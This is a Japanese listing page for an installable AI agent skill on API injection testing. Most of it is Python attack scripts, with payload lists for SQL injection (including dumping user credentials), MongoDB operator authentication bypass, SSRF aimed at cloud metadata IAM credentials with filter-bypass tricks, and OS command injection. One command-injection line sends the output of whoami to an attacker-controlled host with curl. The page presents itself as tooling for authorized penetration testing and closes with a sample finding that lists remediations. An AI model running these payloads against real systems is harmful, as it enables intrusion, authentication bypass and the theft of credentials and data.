exploiting-api-injection-vulnerabilities について
API のインジェクションリスクを評価する、許可を得たテスター向けのセキュリティテストスキルです。SQL・NoSQL インジェクション、SSRF、コマンドインジェクション、入力検証の確認手順を扱います。
主な機能
- 01API の入力箇所を特定
- 02SQL と NoSQL インジェクションのテスト
- 03SSRF リスクの評価
- 04OS コマンドインジェクションのテスト
- 05入力検証の確認
活用シーン
- 01書面の許可を得た API 評価
- 02URL やホスト名を受け取るエンドポイントの確認
- 03クエリやコマンド入力の処理評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-api-injection-vulnerabilitiesインストール後、Claude Code で/exploiting-api-injection-vulnerabilitiesを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
API インジェクションの脆弱性を悪用する
使用するタイミング
- データベースクエリ、システムコマンド、外部リクエストに対するユーザー入力を受け付ける API エンドポイントをテストする場合
- SQL データベース、NoSQL ストア(MongoDB、Redis)、LDAP ディレクトリ、外部 URL と連携する API を評価する場合
- すべての API エンドポイントにおける入力検証とパラメーター化クエリの使用状況を評価する場合
- API パラメーターが URL やホスト名を受け付け、サーバー側のリクエストを発生させる場合に、SSRF をテストする場合
- ヘッダー、パスパラメーター、クエリ文字列、JSON/XML リクエストボディ内のインジェクションポイントを特定する場合
書面による許可なしに使用しないでください。インジェクションテストはデータを変更または破壊し、バックエンドシステムを侵害する可能性があります。
前提条件
- テスト対象の API とスコープ内のバックエンドシステムを明記した書面による許可
requestsライブラリを備えた Python 3.10+- 自動 SQL インジェクション検出および悪用のための SQLMap
- アクティブスキャン機能を備えた Burp Suite Professional
- バックエンドのデータベース技術(MySQL、PostgreSQL、MongoDB、Redis)に関する知識
- 本番データの破損を避けるための隔離されたテスト環境
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的のみに使用してください。所有していないシステム、またはテストする書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター詐欺関連法に違反する可能性があります。
ワークフロー
ステップ 1:インジェクションポイントの特定
import requests
import json
import urllib.parse
BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}
# Map all input points across the API
injection_points = [
# Path parameters
{"type": "path", "method": "GET", "url": "/users/{input}"},
{"type": "path", "method": "GET", "url": "/products/{input}"},
{"type": "path", "method": "GET", "url": "/orders/{input}"},
# Query parameters
{"type": "query", "method": "GET", "url": "/users?search={input}"},
{"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
{"type": "query", "method": "GET", "url": "/products?category={input}"},
{"type": "query", "method": "GET", "url": "/search?q={input}"},
# JSON body parameters
{"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
{"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
{"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
{"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
# Header parameters
{"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]
ステップ 2:SQL インジェクションテスト
# SQL injection payloads for different contexts
SQL_PAYLOADS = {
"detection": [
"'",
"\"",
"' OR '1'='1",
"\" OR \"1\"=\"1",
"1 OR 1=1",
"' OR 1=1--",
"' UNION SELECT NULL--",
"1; WAITFOR DELAY '0:0:5'--",
"1' AND SLEEP(5)--",
"1)) OR 1=1--",
],
"union_based": [
"' UNION SELECT NULL,NULL,NULL--",
"' UNION SELECT 1,2,3--",
"' UNION SELECT username,password,NULL FROM users--",
"-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
],
"error_based": [
"' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
],
"time_based": [
"' AND SLEEP(5)--",
"'; WAITFOR DELAY '0:0:5'--",
"' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
"1; SELECT pg_sleep(5)--",
],
}
import time
def test_sql_injection(endpoint, param_name, param_type="query"):
"""Test a parameter for SQL injection."""
results = []
for category, payloads in SQL_PAYLOADS.items():
for payload in payloads:
start = time.time()
if param_type == "query":
url = f"{BASE_URL}{endpoint}"
resp = requests.get(url, headers=headers,
params={param_name: payload}, timeout=15)
elif param_type == "body":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={param_name: payload}, timeout=15)
elif param_type == "path":
url = f"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}"
resp = requests.get(url, headers=headers, timeout=15)
elapsed = time.time() - start
# Check for SQL injection indicators
indicators = {
"error": any(kw in resp.text.lower() for kw in [
"sql syntax", "mysql", "postgresql", "sqlite",
"oracle", "unterminated", "syntax error",
"unexpected end", "quoted string", "invalid input"
]),
"time_based": elapsed > 4.5 and "SLEEP" in payload.upper(),
"union_data": resp.status_code == 200 and len(resp.text) > 0
and "UNION" in payload.upper()
and resp.text != requests.get(f"{BASE_URL}{endpoint}",
headers=headers, params={param_name: "test"}).text,
}
if any(indicators.values()):
triggered = [k for k, v in indicators.items() if v]
results.append({
"endpoint": endpoint,
"param": param_name,
"category": category,
"payload": payload,
"indicators": triggered,
"status": resp.status_code,
"time": f"{elapsed:.1f}s"
})
print(f"[SQLi] {endpoint} ({param_name}): {category} - {triggered}")
return results
# Test search parameter
test_sql_injection("/search", "q", "query")
test_sql_injection("/products", "category", "query")
test_sql_injection("/auth/login", "username", "body")
ステップ 3:NoSQL インジェクションテスト
# NoSQL injection payloads (MongoDB-focused)
NOSQL_PAYLOADS = {
"auth_bypass": [
# MongoDB operator injection in JSON body
{"username": {"$ne": ""}, "password": {"$ne": ""}},
{"username": {"$gt": ""}, "password": {"$gt": ""}},
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
{"username": "admin", "password": {"$ne": "wrongpassword"}},
{"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$ne": ""}},
],
"data_extraction": [
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}, # Enumerate first char
{"username": {"$where": "this.username.length > 0"}, "password": {"$ne": ""}},
],
"operator_injection_string": [
# When input is a string field
'{"$gt": ""}',
'{"$ne": null}',
'{"$regex": ".*"}',
'{"$where": "1==1"}',
],
}
def test_nosql_injection(endpoint, method="POST"):
"""Test for MongoDB NoSQL injection."""
results = []
# Test JSON body operator injection
for category, payloads in NOSQL_PAYLOADS.items():
for payload in payloads:
if isinstance(payload, dict):
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers, json=payload, timeout=10)
else:
# Test as string parameter
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={"username": json.loads(payload), "password": "test"},
timeout=10)
if resp.status_code == 200:
resp_data = resp.json() if resp.text else {}
if "token" in str(resp_data) or "user" in str(resp_data):
results.append({
"endpoint": endpoint,
"category": category,
"payload": str(payload)[:100],
"authenticated": True,
"response": str(resp_data)[:200]
})
print(f"[NoSQLi] {endpoint}: {category} - Auth bypass successful")
return results
nosql_results = test_nosql_injection("/auth/login")
ステップ 4:サーバーサイドリクエストフォージェリ(SSRF)テスト
# SSRF payloads targeting internal services
SSRF_PAYLOADS = {
"cloud_metadata": [
"http://169.254.169.254/latest/meta-data/", # AWS IMDS
"http://169.254.169.254/latest/meta-data/iam/security-credentials/", # AWS IAM creds
"http://metadata.google.internal/computeMetadata/v1/", # GCP
"http://169.254.169.254/metadata/instance?api-version=2021-02-01", # Azure
],
"internal_services": [
"http://localhost:8080/",
"http://127.0.0.1:6379/", # Redis
"http://127.0.0.1:9200/", # Elasticsearch
"http://127.0.0.1:27017/", # MongoDB
"http://internal-api.local:8080/",
"http://10.0.0.1/admin/",
],
"protocol_smuggling": [
"gopher://127.0.0.1:6379/_SET%20pwned%20true",
"file:///etc/passwd",
"dict://127.0.0.1:6379/INFO",
],
"bypass_filters": [
"http://0x7f000001/", # Hex IP for 127.0.0.1
"http://2130706433/", # Decimal IP for 127.0.0.1
"http://0177.0.0.1/", # Octal
"http://127.0.0.1.nip.io/", # DNS rebinding
"http://[::1]/", # IPv6 localhost
"http://127.1/", # Shortened IP
"http://0/", # Zero
],
}
def test_ssrf(endpoint, url_param, method="POST"):
"""Test for SSRF in URL-accepting parameters."""
results = []
for category, payloads in SSRF_PAYLOADS.items():
for payload in payloads:
try:
if method == "POST":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={url_param: payload}, timeout=10)
else:
resp = requests.get(f"{BASE_URL}{endpoint}",
headers=headers,
params={url_param: payload}, timeout=10)
# Check for SSRF indicators
if resp.status_code == 200 and len(resp.text) > 50:
# Check for cloud metadata
if any(kw in resp.text for kw in ["ami-id", "instance-id",
"iam", "AccessKeyId",
"root:x:", "computeMetadata"]):
results.append({
"endpoint": endpoint,
"category": category,
"payload": payload,
"severity": "critical",
"data": resp.text[:300]
})
print(f"[SSRF-CRITICAL] {endpoint}: {category} - {payload}")
else:
results.append({
"endpoint": endpoint,
"category": category,
"payload": payload,
"severity": "high",
"data": resp.text[:100]
})
print(f"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}")
except requests.exceptions.RequestException:
pass
return results
# Test endpoints that accept URLs
ssrf_results = test_ssrf("/webhook/test", "url")
ssrf_results.extend(test_ssrf("/import", "source_url"))
ssrf_results.extend(test_ssrf("/proxy", "target", "GET"))
ステップ 5:OS コマンドインジェクションテスト
# Command injection payloads
CMD_PAYLOADS = {
"detection": [
"; sleep 5",
"| sleep 5",
"` sleep 5 `",
"$( sleep 5 )",
"\n sleep 5",
"& ping -c 5 127.0.0.1 &",
],
"data_exfil": [
"; cat /etc/passwd",
"| id",
"`whoami`",
"$(uname -a)",
"; curl http://attacker-controlled-server.com/$(whoami)",
],
"windows": [
"& ping -n 5 127.0.0.1 &",
"| dir",
"; type C:\\Windows\\System32\\drivers\\etc\\hosts",
"& timeout /t 5 &",
],
}
def test_command_injection(endpoint, param_name, param_type="body"):
"""Test for OS command injection."""
results = []
for category, payloads in CMD_PAYLOADS.items():
for payload in payloads:
start = time.time()
prefixed_payload = f"validvalue{payload}"
if param_type == "body":
resp = requests.post(f"{BASE_URL}{endpoint}",
headers=headers,
json={param_name: prefixed_payload}, timeout=15)
else:
resp = requests.get(f"{BASE_URL}{endpoint}",
headers=headers,
params={param_name: prefixed_payload}, timeout=15)
elapsed = time.time() - start
indicators = {
"time_based": elapsed > 4.5 and "sleep" in payload.lower(),
"output": any(kw in resp.text for kw in [
"root:", "uid=", "Linux", "Windows", "bin/bash",
"Directory of", "Volume Serial"
]),
}
if any(indicators.values()):
results.append({
"endpoint": endpoint,
"param": param_name,
"category": category,
"payload": payload,
"indicators": [k for k, v in indicators.items() if v],
})
print(f"[CMDi] {endpoint} ({param_name}): {payload}")
return results
# Test file processing and system interaction endpoints
test_command_injection("/export", "filename")
test_command_injection("/convert", "input_file")
test_command_injection("/ping", "host", "query")
主な概念
| 用語 | 定義 |
|---|---|
| SQL インジェクション | データベースクエリに連結される API パラメーターに SQL コードを挿入し、データの抽出や変更を可能にすること |
| NoSQL インジェクション | MongoDB クエリへの NoSQL 演算子($ne、$gt、$regex)の挿入、または API パラメーターを介した Redis/Elasticsearch クエリの操作 |
| SSRF | サーバーサイドリクエストフォージェリ(OWASP API7:2023)。サーバーに、内部サービスを含む攻撃者指定の宛先への HTTP リクエストを強制すること |
| コマンドインジェクション | シェル実行関数(exec、system、popen)に渡される API パラメーターを介して OS コマンドを挿入すること |
| パラメーター化クエリ | バインドパラメーターを使ったプリペアドステートメントを使用し、コードとデータを分離して SQL インジェクションを防止すること |
| 入力検証 | 処理前に、ユーザー入力が想定される形式、型、長さ、文字セットに準拠していることをサーバー側で確認すること |
ツールとシステム
- SQLMap:主要なすべてのデータベースタイプに対応した、自動 SQL インジェクション検出および悪用ツール
- Burp Suite Professional:SQL、NoSQL、SSRF、コマンドインジェクションを検出するアクティブスキャナー
- NoSQLMap:MongoDB に特化した、自動 NoSQL インジェクション検出および悪用ツール
- SSRFmap:クラウドメタデータ抽出モジュールを備えた、SSRF 検出および悪用フレームワーク
- Commix:自動 OS コマンドインジェクション検出および悪用ツール
よくあるシナリオ
シナリオ:Eコマース API のインジェクション評価
コンテキスト:あるEコマース APIは、商品カタログにPostgreSQL、ユーザーセッションにMongoDBを使用し、注文通知用のWebhook URLを受け付けます。APIはNode.js/Expressで構築されています。
アプローチ:
- 商品検索エンドポイント
GET /api/v1/products?search=testにSQLペイロードを送信し、エラーベースのSQLiを発見して、バックエンドがPostgreSQL 14であることを明らかにします - ユニオンベースのSQLiを悪用してすべてのテーブル名を抽出し、その後、
usersテーブルからユーザー認証情報をダンプします - ログインエンドポイントでNoSQL演算子をテストします。
{"username":{"$ne":""},"password":{"$ne":""}}により認証を回避できます - Webhook URLエンドポイントでSSRFをテストします。
POST /api/v1/webhooks {"url":"http://169.254.169.254/latest/meta-data/"}によりAWSインスタンスのメタデータが返されます - SSRFを介してAWS IAMロールの認証情報を抽出し、顧客データを含むS3バケットへのアクセスを取得します
- ファイルエクスポートエンドポイントでコマンドインジェクションをテストします。
GET /api/v1/export?filename=report;cat /etc/passwdによりpasswdファイルの内容が返されます
落とし穴:
- バックエンドが複数のデータストア(SQL、NoSQL、Redis、Elasticsearch)を使用しているのに、SQLインジェクションしかテストしない
- SQLデータベースに記録される可能性のあるHTTPヘッダー(User-Agent、Referer、X-Forwarded-For)のインジェクションポイントを見落とす
- 最初のペイロードがURL検証によってブロックされたときに、SSRFの回避手法をテストしない
- JSON APIの本文はSQLインジェクションに対して安全だと思い込む(JSONの値もクエリに連結されることがあります)
- エラーメッセージが抑制されている場合に、時間ベースのインジェクションをテストしない
出力形式
## Finding: SQL Injection in Product Search API Enables Full Database Access
**ID**: API-INJ-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API8:2023 - Security Misconfiguration / Injection
**Affected Endpoints**:
- GET /api/v1/products?search= (SQL injection)
- POST /api/v1/auth/login (NoSQL injection)
- POST /api/v1/webhooks (SSRF)
**Description**:
The product search API concatenates user input directly into a PostgreSQL
query without parameterization. An attacker can extract all database
contents including user credentials, payment information, and admin
secrets. Additionally, the login endpoint is vulnerable to MongoDB
NoSQL operator injection, and the webhook endpoint allows SSRF to
internal services and cloud metadata.
**Impact**:
- Full database read/write access via SQL injection
- Authentication bypass via NoSQL operator injection
- AWS IAM credential theft via SSRF to instance metadata
- Potential remote code execution via SQL injection stacked queries
**Remediation**:
1. Use parameterized queries for all database operations
2. Validate and sanitize NoSQL operator characters in JSON input
3. Implement URL allowlisting for webhook and callback URLs
4. Block access to cloud metadata endpoints (169.254.169.254) from application servers
5. Use an ORM with parameterized queries and disable raw query methods
6. Implement WAF rules for common injection patterns as defense in depth
コメント
Markdown 対応